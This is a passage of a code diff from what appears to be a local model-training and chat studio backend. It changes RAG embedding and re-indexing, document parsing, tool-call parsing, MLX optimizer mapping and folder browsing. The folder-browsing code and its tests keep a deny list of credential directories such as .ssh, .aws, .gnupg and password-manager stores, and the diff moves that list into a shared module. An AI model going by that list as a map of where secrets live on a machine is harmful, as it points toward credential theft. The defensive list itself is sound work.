for f in list_repo_files(candidate, token = token)
if f.lower().endswith(".gguf") and "mmproj" not in f.lower()
]
except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate
errors.append(f"{candidate!r}: {e}")
continue
if files:
repo = candidate
break
errors.append(f"{candidate!r}: no .gguf files")
if not files:
raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}")
raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors))
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.lower()] or files
filename = sorted(match, key = len)[0]
logger.info("resolving GGUF embedder %s/%s", repo, filename)
self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
self._model_repo = desired
self._dim = None
return self._model_path
# Min free VRAM (MiB) for the embedder; below this, auto stays on CPU.
@ -305,7 +363,8 @@ class LlamaServerBackend:
logger.error("llama-server embedder exited early (code %s)", code)
return False
try:
if httpx.get(url, timeout = 2.0).status_code == 200:
# trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
return True
except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
pass
@ -316,13 +375,19 @@ class LlamaServerBackend:
def _process_alive(self) -> bool:
return self._process is not None and self._process.poll() is None
def _current(self) -> bool:
"""Alive AND serving the effective repo (a Settings model change makes a
live server stale)."""
return self._process_alive() and self._model_repo == config.effective_gguf_repo()
def _ensure_ready(self) -> None:
"""Guarantee a live server, (re)spawning if needed. Double-checked so the
alive path takes no lock; self-heals after the chat reaper kills us."""
if self._process_alive():
"""Guarantee a live server on the effective model, (re)spawning if needed.
Double-checked so the current path takes no lock; self-heals after the
chat reaper kills us and re-resolves after a Settings model change."""
if self._current():
return
with self._lifecycle_lock:
if self._process_alive():
if self._current():
return
self._kill_process()
self._spawn()
@ -424,14 +489,18 @@ class LlamaServerBackend:
return arr
def dim(self, *, model_name = None) -> int:
"""Embedding width, probed once via a 1-text encode and cached."""
if self._dim is not None:
return self._dim
with self._dim_lock:
if self._dim is None:
vec = self.encode(["x"], normalize = False)
self._dim = int(vec.shape[1])
return self._dim
"""Embedding width, probed via a 1-text encode and cached per model
(_resolve_model_path clears it when the effective repo changes).
Unlocked: concurrent probes are benign, and locking would deadlock when
the probe's encode respawns onto a changed model (see __init__)."""
self._ensure_ready()
cached = self._dim
if cached is not None:
return cached
vec = self.encode(["x"], normalize = False)
width = int(vec.shape[1])
self._dim = width
return width
def warm(self, *, model_name = None) -> None:
"""Start the server and probe dim off the request path."""

2
studio/backend/core/rag/embeddings.py
View file

@ -67,7 +67,7 @@ def _get(model_name: str | None = None):
"""Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
for a ~1.5x speedup at negligible accuracy loss."""
global _model, _name
name = model_name or config.EMBEDDING_MODEL
name = model_name or config.effective_embedding_model()
with _lock:
if _model is None or _name != name:
_install_torchao_stub_once()

45
studio/backend/core/rag/ingestion.py
View file

@ -151,6 +151,19 @@ def _ocr_scanned_pages(
return out, ocred
def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None:
"""Drop the document this ingestion replaced (stale embedder / empty prior
ingest), called only after the replacement completed successfully."""
if replaces is None:
return
old_id, old_path = replaces
try:
store.delete_document(conn, old_id)
_remove_upload(old_path, keep_path = keep_path)
except Exception: # noqa: BLE001 - the new document is already live
logger.warning("failed to remove replaced document %s", old_id, exc_info = True)
def _run(
job_id: str,
document_id: str,
@ -159,6 +172,7 @@ def _run(
model_name: str | None,
ocr: bool | None = None,
caption: bool | None = None,
replaces: tuple[str, str | None] | None = None,
) -> None:
conn = rag_db.get_connection()
try:
@ -213,6 +227,7 @@ def _run(
)
if not chunks:
store.set_document_status(conn, document_id, "completed", num_chunks = 0)
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": 0})
return
@ -233,6 +248,7 @@ def _run(
_progress(conn, job_id, "storing", 0.9)
store.add_chunks(conn, scope, document_id, chunks, vectors, regions)
store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks))
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": len(chunks)})
@ -274,17 +290,32 @@ def start_ingestion(
sha = _sha256_file(stored_path)
conn = rag_db.get_connection()
try:
effective_model = model_name or config.effective_embedding_model()
# (old_document_id, old_stored_path) replaced by this upload; deleted by
# the worker only after the replacement completes, so a failed re-index
# never destroys the still-searchable original.
replaces: tuple[str, str | None] | None = None
existing = store.document_by_hash(conn, scope, sha)
if existing is not None:
doc = store.get_document(conn, existing)
empty_completed = (
doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
)
if empty_completed:
# Vectors from a different embedder are stale; re-uploading must
# re-index, not dedupe. NULL (legacy rows) is assumed current. Only
# completed rows are replaceable: a pending/running duplicate has a
# live worker whose writes must not land on a deleted document.
stale_model = (
doc is not None
and doc.get("status") == "completed"
and doc.get("embedding_model") is not None
and doc.get("embedding_model") != effective_model
)
if empty_completed or stale_model:
# A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
# PDF uploaded before a vision model loaded). Re-ingest, don't dedupe.
store.delete_document(conn, existing)
_remove_upload(doc.get("stored_path"), keep_path = stored_path)
# PDF uploaded before a vision model loaded), or was embedded with a
# different model. Re-ingest, don't dedupe.
replaces = (existing, doc.get("stored_path"))
else:
job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
_remove_upload(stored_path)
@ -310,6 +341,7 @@ def start_ingestion(
project_id = project_id,
status = "pending",
stored_path = stored_path,
embedding_model = effective_model,
)
job_id = _new_job(conn, document_id, scope)
finally:
@ -319,7 +351,10 @@ def start_ingestion(
_jobs[job_id] = queue.Queue()
threading.Thread(
target = _run,
args = (job_id, document_id, scope, stored_path, model_name, ocr, caption),
# effective_model (not the raw model_name) pins the embedder for the
# whole job: a Settings change mid-ingestion must not switch tokenizer
# or embedder between batches of one document.
args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces),
daemon = True,
).start()
return document_id, job_id

103
studio/backend/core/rag/parsers.py
View file

@ -12,6 +12,7 @@ from __future__ import annotations
import logging
import os
import re
from dataclasses import dataclass
from html.parser import HTMLParser
@ -69,6 +70,39 @@ def _html(raw: str) -> list[Page]:
return [_page("\n".join(parser.out), 1)]
# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping
# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to
# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these
# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat
# extractor guard (unslothai/unsloth#5351 review).
_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]")
_PDF_FALLBACK_MIN_BAD_GLYPHS = 5
_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005
_PDF_INCOMPLETE_RATIO = 0.75
_PDF_INCOMPLETE_MIN_LETTERS = 200
def _markdown_corrupted(text: str) -> bool:
"""True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL
Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone
legitimate shaped glyph does not force the fallback)."""
if not text:
return False
threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text))
shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text))
return shaped > threshold or text.count("\ufffd") > threshold
def _markdown_incomplete(markdown: str, plain: str) -> bool:
"""True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a
coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs."""
plain_letters = sum(1 for c in plain if c.isalnum())
if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS:
return False
markdown_letters = sum(1 for c in markdown if c.isalnum())
return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
def _pdf_markdown(doc) -> list[str] | None:
"""Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
@ -100,9 +134,19 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
try:
md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
for i, page in enumerate(doc):
# Prefer layout-aware Markdown (keeps tables/headings legible for retrieval);
# fall back to plain text when Markdown is off, unavailable, or empty here.
text = (md[i] if md else "") or page.get_text("text") or ""
plain = page.get_text("text") or ""
candidate = md[i] if md else ""
# Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
# but drop to PyMuPDF's logical-order text when Markdown is off/empty or when
# pymupdf4llm mangled it (RTL/Indic) or dropped most of the page.
if (
candidate
and not _markdown_corrupted(candidate)
and not _markdown_incomplete(candidate, plain)
):
text = candidate
else:
text = plain
pages.append(_page(text, i + 1))
if want_images:
for img in page.get_images(full = True):
@ -308,12 +352,61 @@ def render_pdf_pages(
doc.close()
def _docx_table_rows(table) -> list[str]:
"""Each row as pipe-joined cell text (the locator splits anchors on pipes).
Columns stay aligned to the layout grid (merged cells fill their spanned slots,
skipped leading/trailing grid columns become empty fields). Cells are walked in
document order so a nested table, and any text after it, flattens in place."""
from docx.table import Table
from docx.text.paragraph import Paragraph
rows: list[str] = []
seen: set = set() # <w:tc> already emitted; dedups merges spanning columns or rows
for row in table.rows:
cells: list[str] = [""] * getattr(row, "grid_cols_before", 0)
trailing: list[str] = [] # nested rows + any post-nested text, kept in order
for cell in row.cells:
# A merged cell shares one <w:tc> across the columns and rows it spans:
# emit its text once, then placeholders, so columns and rows stay aligned.
if cell._tc in seen:
cells.append("")
continue
seen.add(cell._tc)
# Paragraph text before the first nested table is the aligned field; the
# nested table and anything after it flatten below the row, in order.
field: list[str] = []
after_table = False
for item in cell.iter_inner_content():
if isinstance(item, Table):
after_table = True
trailing.extend(_docx_table_rows(item))
elif isinstance(item, Paragraph):
text = " ".join(item.text.split()) # collapse in-cell newlines
if text:
(trailing if after_table else field).append(text)
cells.append(" ".join(field)) # empty cells kept so columns line up
cells.extend([""] * getattr(row, "grid_cols_after", 0))
if any(c.strip() for c in cells):
rows.append(" | ".join(cells))
rows.extend(trailing)
return rows
def _docx(path: str) -> list[Page]:
import docx
from docx.table import Table
from docx.text.paragraph import Paragraph
document = docx.Document(path)
text = "\n".join(p.text for p in document.paragraphs)
return [_page(text, None)]
lines: list[str] = []
# Walk body content in document order: paragraphs alone drop tables entirely.
for block in document.iter_inner_content():
if isinstance(block, Paragraph):
if block.text.strip():
lines.append(block.text)
elif isinstance(block, Table):
lines.extend(_docx_table_rows(block))
return [_page("\n".join(lines), None)]
def parse(path: str, *, want_images: bool = False):

8
studio/backend/core/rag/retrieval.py
View file

@ -39,8 +39,12 @@ def retrieve_dense(
model_name: str | None = None,
) -> list[Hit]:
k = k or config.TOP_K_DENSE
vec = embeddings.encode([query], model_name = model_name, normalize = True)[0]
return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)]
effective = model_name or config.effective_embedding_model()
vec = embeddings.encode([query], model_name = effective, normalize = True)[0]
return [
Hit(cid, s, dense_score = s)
for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective)
]
def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]:

40
studio/backend/core/rag/store.py
View file

@ -109,11 +109,12 @@ def create_document(
status: str = "pending",
stored_path: str | None = None,
document_id: str | None = None,
embedding_model: str | None = None,
) -> str:
document_id = document_id or str(uuid.uuid4())
conn.execute(
"INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, "
"status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",
"status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
(
document_id,
scope,
@ -125,6 +126,7 @@ def create_document(
status,
stored_path,
_now(),
embedding_model,
),
)
conn.commit()
@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int):
return [(r["chunk_id"], -r["s"]) for r in rows]
def search_dense(conn: sqlite3.Connection, scope, vector, k: int):
def search_dense(
conn: sqlite3.Connection,
scope,
vector,
k: int,
*,
embedding_model: str | None = None,
):
"""Cosine KNN over vec0 for one scope or several. Returns
[(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by
equality, so multi-scope runs one query per scope and merges by score."""
equality, so multi-scope runs one query per scope and merges by score.
``embedding_model`` drops hits from documents indexed under a different
(same-width) model, whose vectors live in another space; NULL-model legacy
documents are assumed current, matching the ingestion dedupe rule."""
if not rag_db.vec_table_exists(conn):
return []
dim = rag_db.vec_table_dim(conn)
if dim is not None and dim != len(vector):
# Embedding model switched widths and nothing re-indexed yet; the stale
# table cannot answer new-model queries (vec0 errors on the MATCH).
return []
# Over-fetch when filtering so stale-model hits don't starve the top-k.
fetch = k * 3 if embedding_model else k
out: list[tuple[str, float]] = []
for s in _scopes(scope):
rows = conn.execute(
"SELECT chunk_id, distance FROM chunks_vec "
"WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?",
(s, _f32(vector), k),
(s, _f32(vector), fetch),
).fetchall()
out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows)
if embedding_model and out:
ids = [cid for cid, _ in out]
placeholders = ",".join("?" * len(ids))
valid = {
r["id"]
for r in conn.execute(
f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.id IN ({placeholders}) "
f"AND (d.embedding_model IS NULL OR d.embedding_model=?)",
(*ids, embedding_model),
).fetchall()
}
out = [t for t in out if t[0] in valid]
out.sort(key = lambda t: t[1], reverse = True)
return out[:k]

186
studio/backend/core/tool_healing.py
View file

@ -301,28 +301,28 @@ def parse_tool_calls_from_text(
*,
id_offset: int = 0,
allow_incomplete: bool = True,
) -> list[dict]:
with_spans: bool = False,
):
"""Parse OpenAI-format tool calls from model text.
Handles formats like:
<tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
<|tool_call>call:web_search{query:"..."}<tool_call|>
<tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
in ``content`` (including its close tag when present), so a caller can
remove exactly the parsed markup and keep every other byte intact.
"""
tool_calls: list[dict] = []
# Collect JSON- and Gemma-format candidates with their byte spans, then
# accept them in document order. Both order and spans matter:
# * tools execute in returned order, so a call appearing earlier in the
# text must be emitted first even across the two formats;
# * a tool-call marker INSIDE another call's argument string is data, not a
# call, so a candidate starting within an already accepted span is
# skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker
# nested in a JSON arg alike, regardless of which format is outer).
call_spans: list[tuple] = []
# Collect every supported call format with spans, then emit in document
# order. A marker inside another call's argument string is data, not a
# separate executable call.
parsed_items = [] # (start, span_end, name, arguments)
candidates = [] # (start, brace_end, kind, match)
for m in _TC_JSON_START_RE.finditer(content):
# A marker that begins inside an open <function=...><parameter=...> value
# is that parameter's data, not its own call; skip it (same guard the
# XML-style parser below applies to nested <function= markers).
if _inside_open_parameter(content, m.start()):
continue
end = _balanced_brace_end(content, m.end() - 1)
@ -336,14 +336,9 @@ def parse_tool_calls_from_text(
candidates.append((m.start(), end, "gemma", m))
candidates.sort(key = lambda c: c[0])
spans = [(s, e) for s, e, _kind, _m in candidates]
candidate_spans = [(s, e) for s, e, _kind, _m in candidates]
for idx, (start, end, kind, m) in enumerate(candidates):
# Skip a candidate nested inside another candidate's brace span: it is
# the enclosing call's argument data, not its own call. Checked against
# every candidate span (not only the ones that parsed successfully), so a
# marker inside an outer call that later fails to normalize is still
# never promoted to its own executable tool call.
if any(s <= start and end <= e for j, (s, e) in enumerate(spans) if j != idx):
if any(s <= start and end <= e for j, (s, e) in enumerate(candidate_spans) if j != idx):
continue
if not allow_incomplete:
tail = content[end + 1 :].lstrip()
@ -362,6 +357,85 @@ def parse_tool_calls_from_text(
arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
except (json.JSONDecodeError, ValueError):
continue
span_end = end + 1
close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
ws = len(content[span_end:]) - len(content[span_end:].lstrip())
close_m = close_re.match(content, span_end + ws)
if close_m:
span_end = close_m.end()
parsed_items.append((start, span_end, name, arguments))
func_starts = [
fm
for fm in _TC_FUNC_START_RE.finditer(content)
if not _inside_open_parameter(content, fm.start())
and not any(s <= fm.start() <= e for s, e in candidate_spans)
]
for idx, fm in enumerate(func_starts):
func_name = fm.group(1)
body_start = fm.end()
next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
end_tag = _TC_END_TAG_RE.search(content[body_start:])
if end_tag:
body_end = body_start + end_tag.start()
else:
body_end = len(content)
body_end = min(body_end, next_func)
body = content[body_start:body_end]
close_idx = body.rfind(_FUNC_CLOSE_TAG)
if close_idx >= 0:
span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
body = body[:close_idx]
elif not allow_incomplete:
continue
else:
body = _TC_FUNC_CLOSE_RE.sub("", body)
span_end = body_end
arguments: dict = {}
param_starts = list(_TC_PARAM_START_RE.finditer(body))
if len(param_starts) == 1:
pm = param_starts[0]
val = body[pm.end() :]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
continue
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[pm.group(1)] = val.strip()
else:
valid_params = True
for pidx, pm in enumerate(param_starts):
param_name = pm.group(1)
val_start = pm.end()
next_param = (
param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
)
val = body[val_start:next_param]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
valid_params = False
break
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[param_name] = val.strip()
if not valid_params:
continue
span_start = fm.start()
wrap_open = re.search(r"<tool_call>\s*$", content[:span_start])
wrap_close = re.match(r"\s*</tool_call>", content[span_end:])
if wrap_open and wrap_close:
span_start = wrap_open.start()
span_end += wrap_close.end()
parsed_items.append((span_start, span_end, func_name, json.dumps(arguments)))
parsed_items.sort(key = lambda item: item[0])
for start, span_end, name, arguments in parsed_items:
tool_calls.append(
{
"id": f"call_{id_offset + len(tool_calls)}",
@ -369,77 +443,9 @@ def parse_tool_calls_from_text(
"function": {"name": name, "arguments": arguments},
}
)
if not tool_calls:
func_starts = [
fm
for fm in _TC_FUNC_START_RE.finditer(content)
if not _inside_open_parameter(content, fm.start())
]
for idx, fm in enumerate(func_starts):
func_name = fm.group(1)
body_start = fm.end()
next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
end_tag = _TC_END_TAG_RE.search(content[body_start:])
if end_tag:
body_end = body_start + end_tag.start()
else:
body_end = len(content)
body_end = min(body_end, next_func)
body = content[body_start:body_end]
if not allow_incomplete:
close_idx = body.rfind(_FUNC_CLOSE_TAG)
if close_idx < 0:
continue
body = body[:close_idx]
else:
body = _TC_FUNC_CLOSE_RE.sub("", body)
arguments: dict = {}
param_starts = list(_TC_PARAM_START_RE.finditer(body))
if len(param_starts) == 1:
pm = param_starts[0]
val = body[pm.end() :]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
continue
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[pm.group(1)] = val.strip()
else:
valid_params = True
for pidx, pm in enumerate(param_starts):
param_name = pm.group(1)
val_start = pm.end()
next_param = (
param_starts[pidx + 1].start()
if pidx + 1 < len(param_starts)
else len(body)
)
val = body[val_start:next_param]
if not allow_incomplete:
stripped_val = val.rstrip()
if not stripped_val.endswith(_PARAM_CLOSE_TAG):
valid_params = False
break
val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
else:
val = _TC_PARAM_CLOSE_RE.sub("", val)
arguments[param_name] = val.strip()
if not valid_params:
continue
tc = {
"id": f"call_{id_offset + len(tool_calls)}",
"type": "function",
"function": {
"name": func_name,
"arguments": json.dumps(arguments),
},
}
tool_calls.append(tc)
call_spans.append((start, span_end))
if with_spans:
return tool_calls, call_spans
return tool_calls

4
studio/backend/core/training/trainer.py
View file

@ -3672,7 +3672,7 @@ class UnslothTrainer:
return
try:
with open(config_path, "r") as f:
with open(config_path, "r", encoding = "utf-8") as f:
config = json.load(f)
# Determine training method
@ -3686,7 +3686,7 @@ class UnslothTrainer:
config["unsloth_training_method"] = method
logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
with open(config_path, "w") as f:
with open(config_path, "w", encoding = "utf-8") as f:
json.dump(config, f, indent = 2)
except Exception as e:

58
studio/backend/core/training/worker.py
View file

@ -1253,32 +1253,48 @@ def _adapt_for_mlx_vlm(
return adapted
_MLX_STUDIO_OPTIM_MAP = {
"adamw_8bit": "adamw",
"paged_adamw_8bit": "adamw",
"adamw_bnb_8bit": "adamw",
"paged_adamw_32bit": "adamw",
"adamw_torch": "adamw",
"adamw_torch_fused": "adamw",
"adamw": "adamw",
"adafactor": "adafactor",
"sgd": "sgd",
"adam": "adam",
"muon": "muon",
"lion": "lion",
}
_MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
# only when mlx (Apple Silicon) is not importable so Studio config validation
# still works on non-MLX hosts. The zoo function stays the source of truth.
_MLX_STUDIO_ADAMW_ALIASES = frozenset(
(
"adamw_8bit",
"paged_adamw_8bit",
"adamw_bnb_8bit",
"paged_adamw_32bit",
"adamw_torch",
"adamw_torch_fused",
"paged_adamw",
"adamw_32bit",
"adamw_hf",
"adamw_anyprecision",
"adamw_apex_fused",
)
)
_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
def _normalize_mlx_studio_optimizer(value):
raw = str(value or "adamw_8bit").strip().lower()
try:
return _MLX_STUDIO_OPTIM_MAP[raw]
except KeyError:
supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
)
from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
return _normalize_mlx_optimizer_name(value or "adamw_8bit")
except (ImportError, ValueError):
# Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
# aliases: map common adamw_* names locally so notebook defaults work.
opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
opt = opt.rsplit(".", 1)[-1].replace("-", "_")
if opt in _MLX_STUDIO_ADAMW_ALIASES:
opt = "adamw"
if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. "
f"Supported optimizers: {supported}."
)
return opt
def _normalize_mlx_studio_scheduler(value):

10
studio/backend/hub/services/models/folder_browser.py
View file

@ -27,6 +27,7 @@ from hub.utils.paths import (
studio_root,
well_known_model_dirs,
)
from utils.paths.external_media import linux_run_media_mount_roots
from hub.services.models.common import _safe_is_dir
from hub.services.models.local_inventory import _resolve_hf_cache_dir
@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]:
candidates.append(resolved)
_add(Path.home())
for p in linux_run_media_mount_roots():
_add(p)
_add(_resolve_hf_cache_dir())
try:
_add(hf_default_cache_dir())
@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
)
current = resolved_child
if contains_sensitive_path_component(str(current)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
if not current.is_dir():
raise HTTPException(
status_code = 400,
@ -485,6 +493,8 @@ def browse_folders_response(
# Home first as the safe fallback.
_add_sug(Path.home())
for p in linux_run_media_mount_roots():
_add_sug(p)
# The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
try:
_add_sug(_resolve_hf_cache_dir())

36
studio/backend/hub/storage/scan_folders.py
View file

@ -16,37 +16,14 @@ from datetime import datetime, timezone
from storage.studio_db import get_connection
from hub.utils.paths import normalize_path
from utils.paths.external_media import is_linux_run_media_path
from utils.paths.sensitive import (
contains_sensitive_path_component as _shared_contains_sensitive_path_component,
)
_schema_lock = threading.Lock()
_schema_ready = False
_SENSITIVE_PATH_COMPONENTS = {
".aws",
".azure",
".config",
".docker",
".gcloud",
".gnupg",
".huggingface",
".kaggle",
".kube",
".modelscope",
".ngc",
".local",
".mozilla",
".pki",
".thunderbird",
".ssh",
".1password",
".bitwarden",
".password-store",
"1password",
"bitwarden",
"keychains",
"keyrings",
"mozilla",
"thunderbird",
}
def _denied_path_prefixes() -> list[str]:
@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]:
def _contains_sensitive_path_component(path: str) -> bool:
parts = os.path.normpath(path).split(os.sep)
return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
return _shared_contains_sensitive_path_component(path)
def contains_sensitive_path_component(path: str) -> bool:
@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict:
check = os.path.normcase(normalized) if is_win else normalized
for prefix in _denied_path_prefixes():
if check == prefix or check.startswith(prefix + os.sep):
if prefix == "/run" and is_linux_run_media_path(check):
continue
raise ValueError(f"Path under {prefix} is not allowed")
conn = get_connection()

28
studio/backend/hub/tests/test_model_services.py
View file

@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
assert exc_info.value.status_code == 403
def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
ssh = tmp_path / "home" / ".ssh"
ssh.mkdir(parents = True)
with pytest.raises(HTTPException) as exc_info:
folder_browser._resolve_browse_target(str(ssh), [ssh])
assert exc_info.value.status_code == 403
def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
home = tmp_path / "home"
(home / ".ssh").mkdir(parents = True)
@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
assert ".ssh" not in names
def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
home = tmp_path / "home"
media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
home.mkdir()
model_dir.mkdir(parents = True)
monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
allowlist = folder_browser._build_browse_allowlist()
assert media_root.resolve() in allowlist
assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
# The endpoint creates the cache dir on demand so the desktop "Open folder"
# action works even before the first download.

169
studio/backend/main.py
View file

@ -12,6 +12,8 @@ from pathlib import Path as _Path
import asyncio
from dataclasses import asdict
from typing import Any, Optional
# Suppress C-level dependency warnings globally
os.environ["PYTHONWARNINGS"] = "ignore"
@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore"
# process is covered before its heavy ML imports.
os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
# Windows terminals default to the active system code page. Reconfigure
# stdout/stderr before the startup banner so non-ASCII output cannot crash the
# backend process.
if sys.platform == "win32":
for _win_stream in (sys.stdout, sys.stderr):
if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
try:
_win_stream.reconfigure(encoding = "utf-8", errors = "replace")
except Exception:
pass
del _win_stream
_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
_system_gpu_cache_lock = threading.Lock()
_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
# ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
# Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
# os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@ -214,7 +232,6 @@ import shutil
import warnings
from contextlib import asynccontextmanager
from importlib.metadata import PackageNotFoundError, version as package_version
from typing import Optional
from urllib.parse import urlparse
@ -520,6 +537,11 @@ async def lifespan(app: FastAPI):
_start_helper_precache_if_enabled()
threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
# Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
from core.inference.llama_keepwarm import idle_unload_loop
app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
# Initialize RSA key pair for API key encryption (external providers).
from core.inference.key_exchange import init_key_pair
@ -549,6 +571,14 @@ async def lifespan(app: FastAPI):
)
yield
_idle_task = getattr(app.state, "idle_unload_task", None)
if _idle_task is not None:
_idle_task.cancel()
try:
await _idle_task
except asyncio.CancelledError:
pass
from core.inference.llama_http import aclose as _close_llama_http
await _close_llama_http()
@ -871,6 +901,11 @@ app.add_middleware(
upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
)
# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402
app.add_middleware(LlamaKeepWarmMiddleware)
